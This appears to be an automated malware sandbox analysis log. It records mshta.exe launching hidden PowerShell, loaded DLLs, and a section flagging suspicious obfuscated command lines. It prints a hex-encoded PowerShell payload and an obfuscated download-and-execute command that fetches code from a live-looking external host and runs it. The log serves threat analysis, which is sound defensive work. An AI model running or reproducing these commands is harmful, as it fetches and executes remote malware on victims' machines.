4AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('Nect',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('In-Exion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value\|Get-Member)\|Where-Object{(Get-Variable _).Value.Name-ilike'nl*a'}).Name).Invoke((GCI Variable:\s).Value)\|ForEach{(Get-Item Variable:/_).Value-As'Char'}))))
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{25336920-03F9-11cf-8FD0-00AA00686F13}\InProcServer32

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('Nect',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('In-Exion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value\|Get-Member)\|Where-Object{(Get-Variable _).Value.Name-ilike'nl*a'}).Name).Invoke((GCI Variable:\s).Value)\|ForEach{(Get-Item Variable:/_).Value-As'Char'}))))
